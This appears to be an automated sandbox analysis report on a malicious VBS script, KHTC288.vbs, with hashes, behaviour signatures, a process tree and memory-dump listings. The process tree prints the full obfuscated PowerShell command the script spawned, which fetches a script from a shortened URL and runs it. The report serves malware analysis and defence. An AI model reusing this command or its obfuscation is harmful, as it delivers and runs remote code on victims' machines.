Overview

overview

10

Static

static

KHTC288.vbs

windows7_x64

8

KHTC288.vbs

windows10_x64

10

Analysis

  • max time kernel
    123s
  • max time network
    160s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    24-07-2021 06:52

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General

  • Target

    KHTC288.vbs

  • Size

    662B

  • MD5

    896c2bbb0dda248ac02ed60683858fa5

  • SHA1

    42e44987ae2d842f4e6d197bde7694d18d1dc57a

  • SHA256

    df8d5648e265825d946b6a3cffe442a39d04570bbe8834cfd54e2aa568fb4520

  • SHA512

    090bf4471502c608a3226a02efca77c4e31b345e505c6bee21d5e12b25043a45ec71daca3a73ac81523429dab2f400d3358f40bae7e2523272d7bfa762b06c81

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KHTC288.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'https://bit.ly/3wZ38ji'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1972

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/1832-59-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1972-60-0x0000000000000000-mapping.dmp
    Download
  • memory/1972-62-0x0000000001DB0000-0x0000000001DB1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-63-0x000000001AE70000-0x000000001AE71000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-65-0x000000001ADF4000-0x000000001ADF6000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1972-64-0x000000001ADF0000-0x000000001ADF2000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1972-66-0x0000000001FE0000-0x0000000001FE1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-67-0x0000000002370000-0x0000000002371000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-68-0x0000000002850000-0x0000000002851000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-69-0x00000000024C0000-0x00000000024C1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-70-0x0000000001E00000-0x0000000001E01000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1972-71-0x000000001C610000-0x000000001C611000-memory.dmp
    Filesize

    4KB

    Download